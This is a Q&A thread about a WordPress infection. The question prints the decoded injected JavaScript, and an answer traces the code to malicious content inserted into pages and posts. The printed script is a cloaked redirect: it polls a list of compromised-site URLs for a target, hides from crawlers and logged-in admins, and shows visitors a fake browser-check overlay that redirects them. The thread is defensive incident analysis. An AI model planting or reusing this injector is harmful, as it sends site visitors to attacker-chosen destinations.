Saurabh
Saurabh

Reputation: 395

Suspicious code in WordPress any idea how to remove this?

(function () {
    //<script>
    var w_location = null;

    var domains = [
        'http://kntsv.nl/images/tmp.php',
        'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
        'http://langedijke.nl/plugins/tmp.php',
        'http://megateuf.edelo.net/cgi-bin/tmp.php',
        'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
        'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
        'http://yofeet.com/drupal/modules/tmp.php',
        'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
        'http://www.devonportmotors.co.nz/images/tmp.php'
    ];

    function getDomainName(domain) {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                if (xhr.responseText && xhr.responseText.trim().length > 0) {
                    w_location = xhr.responseText.trim();
                }
            }
        };
        xhr.open('GET', domains[0], true);
        xhr.send();
    }

    for (var i = 0; i < domains.length; i++) {
        getDomainName(domains[i]);
    }

    function start() {

        var from = document.referrer;
        var i;

        // If it's direct
        var eee = ["", " "];

        var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];


        if (checkCookie()) {
            return;
        }
        var uagent = navigator.userAgent;
        if (!uagent || uagent.length == 0) {
            return;
        }
        uagent = uagent.toLowerCase();
        if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
            || uagent.indexOf('crawl') != -1) {

        } else {
            hideWebSite();
        }

        function getCookie(c_name) {
            var c_value = document.cookie;
            var c_start = c_value.indexOf(" " + c_name + "=");
            if (c_start == -1) {
                c_start = c_value.indexOf(c_name + "=");
            }
            if (c_start == -1) {
                c_value = null;
            }
            else {
                c_start = c_value.indexOf("=", c_start) + 1;
                var c_end = c_value.indexOf(";", c_start);
                if (c_end == -1) {
                    c_end = c_value.length;
                }
                c_value = unescape(c_value.substring(c_start, c_end));
            }
            return c_value;
        }

        function setCookie(c_name, value, exdays) {
            var exdate = new Date();
            exdate.setDate(exdate.getDate() + exdays);
            var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
            document.cookie = c_name + "=" + c_value;
        }

        function checkCookie() {
            if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
                return true;
            } else {
                localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
            }
            var referrerRedirectCookie = getCookie("referrerRedirectCookie");
            if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
                return true;
            } else if (document.cookie.indexOf('wordpress_logged') !== -1
                || document.cookie.indexOf('wp-settings') !== -1
                || document.cookie.indexOf('wordpress_test') !== -1) {
                return true;
            } else {
                setCookie("referrerRedirectCookie", "do not redirect", 730);
                return false;
            }
        }

    }


    function createPopup() {
        var popup = document.createElement('div');
        popup.style.position = 'absolute';
        popup.style.width = '100%';
        popup.style.height = '100%';
        popup.style.left = 0;
        popup.style.top = 0;
        popup.style.backgroundColor = 'white';
        popup.style.zIndex = 99999;
        document.body.appendChild(popup);

        popup.onclick = function () {
            var intervalId = setInterval(() = > {
                    if (
            !w_location
            )
            {
                return;
            }
            clearInterval(intervalId);
            window.location = w_location;
        },
            10
            )
            ;

        };

        var p = document.createElement('p');
        p.innerText = "Checking your browser before accessing "
            + window.location.host + "...";
        p.style.textAlign = 'center';
        //p.style.margin = '20px auto';
        //p.style.left = '20px';
        p.style.fontSize = 'x-large';
        p.style.position = 'relative';
        p.textContent = p.innerText;
        popup.appendChild(p);

        return popup;
    }

    function createButton() {
        var button = document.createElement('div');
        button.style.position = 'absolute';
        button.style.top = '20%';
        button.style.left = '10%';
        button.style.right = '10%';
        button.style.width = '80%';
        button.style.border = "1px solid black";
        button.style.textAlign = 'center';
        button.style.verticalAlign = 'middle';
        button.style.margin = '0, auto';
        button.style.cursor = 'pointer';
        button.style.fontSize = 'xx-large';
        button.style.borderRadius = '5px';
        button.onclick = function () {
            window.location = w_location;
        };
        button.onmouseover = function () {
            button.style.border = '1px solid red';
            button.style.color = 'red';
        };
        button.onmouseout = function () {
            button.style.border = '1px solid black';
            button.style.color = 'black';
        };

        button.innerText = "Continue";
        button.textContent = button.innerText;
        return button;
    }

    var hideWebSite = function () {
        var popup = createPopup();
        var button = createButton();
        popup.appendChild(button);

    };

    var readyStateCheckInterval = setInterval(function () {
        if (document.readyState === 'complete'
            || document.readyState == 'interactive') {
            clearInterval(readyStateCheckInterval);
            start();
        }
    }, 10);
    //</script>


})

I have tried grep across code, but couldn't find anything, I took MySQL dump of complete database, but didn't find anything there.

I ran clamscan and I can't find any issue, My doubt is on Visual Composer, but when I grep in Visual Composer I dont see this code.

UPDATE

This is what the site shows when infected:

enter image description here

You can check the source of that message and button (overlay, which should not be there) by going to Chrome dev tools console and see the value of variable ZJPMAWHWOE which will give you a bunch of JS code, but in the variable it is encrypted, once the code runs and gets decrypted it is the JS code posted above.

If you go to website https://sitecheck.sucuri.net/ and check for your site then you will get the infection alert from them:

enter image description here

Upvotes: 4

Views: 1836

Answers (1)

a4bike
a4bike

Reputation: 639

Upon further investigation we found the following:

As pointed out by OP and others in comments, GREP into the website's files and other sites' files in the same server for any traces of the infected code (either encrypted or decrypted) did not give any results, meaning the infection was not in any files (at least not in that form).

We noticed some extra garbage chars at the bottom of our page where we have our "legal" disclaimer:

enter image description here

Tracked down what part of the final HTML had the infection (and/or garbage chars), for our case looking for JS variable ZJPMAWHWOE

enter image description here

Efectively, the script code was present in a known HTML piece which for us was the "legal" page that exists in one of our WordPress pages.

This was pointing now to the code being inside pages/post directly edited in WordPress. We went in and checked for the legal page and found it there (noticed the same garbage chars first):

enter image description here

And then while scrolling down (in Text view, to get the raw HTML of the page) we got to this:

enter image description here

We checked for other pages and posts in the site and the same injected code was present in them.

Once we cleaned them all the infection seems to be gone.

So now, how is that attack accomplished? our theory is that only by getting WordPress user credentials and editing the pages/posts; in our case that was fairly easy since our /wp-admin login pages are not HTTPS protected so our user and passwords can be easily sniffed; we think that was the way they got user credentials and afterwards edited the pages/posts to add the malicious code.

Besides the clean up we also did the following:

  • Updated the system password database
  • Deleted all users from WordPress; we only left in there ‘admin’ and my user (both with Administrator roles)
  • Updated the passwords for users ‘admin’ and my user
  • Recreated users with new passwords for blog editors

In progress: We are getting HTTPS for our WordPress in order to protect the user/password information that is submitted each time we login to wp-admin.

I would also like to hear about other recommendations about how to increase the security of our WordPress as well as other theories about how did they were able to inject the malicious code within the pages/posts.

Upvotes: 3

Related Questions